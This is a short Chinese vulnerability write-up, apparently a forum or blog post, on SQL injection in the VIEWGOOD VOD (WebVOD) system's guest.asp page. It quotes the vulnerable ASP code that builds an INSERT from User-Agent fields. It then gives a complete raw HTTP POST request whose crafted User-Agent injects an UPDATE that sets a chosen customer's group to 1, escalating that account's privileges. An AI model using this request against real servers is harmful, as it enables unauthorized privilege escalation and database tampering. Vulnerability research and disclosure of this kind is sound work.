远古视频点播系统的一个注入漏洞

VIEWGOOD VOD视频点播系统 (WebVOD)
漏洞产生于文件/webmedia/oemui/user/guest.asp，访问这个页面需要注册

相关代码：

szAgent = Request.ServerVariables("HTTP_USER_AGENT")  
    aTmpInfo = Split(szAgent, " (", -1, 1)  
    aAgentInfo = Split(aTmpInfo(1), "; ", -1, 1)  
 
    szBrowser = aAgentInfo(1)  
    if Right(aAgentInfo(2), 1) = ")" or Right(aAgentInfo(2), 1) = ";" then  
        szOS = Left(aAgentInfo(2), Len(aAgentInfo(2)) - 1)  
    else  
        szOS = aAgentInfo(2)  
    end if  
    szClientIP = Request.ServerVariables("REMOTE_ADDR")  
 
    szSQL = "INSERT INTO GuestBook(CusTomer_ID,cont,ipaddr,ostype,browser,crdt) VALUES(" & iUserID & ",'" & szMemo & "','" & szClientIP & "','" & szOS & "','" & szBrowser & "','" & now &"')" 
    con.Execute szSQL 

HTTP_USER_AGENT我们可以自己构造

POST /webmedia/oemui/user/guest.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, 
Referer: http://you.are.fucked.cn/webmedia/oemui/user/guest.asp
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0','');update Customer_Group set Group_ID=1 where Customer_ID=9--; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
Host: you.are.fucked.cn
Content-Length: 75
Connection: Keep-Alive
Cache-Control: no-cache
COOKIE: ASPSESSIOnIDCSACDTQQ=CGGFJOGANCPNAIAIABABHMHA;
memo=aaaa&submit=%B7%A2%CB%CD%D3%C3%BB%A7%C1%F4%D1%D4%D0%C5%CF%A2+%3E%3E%3E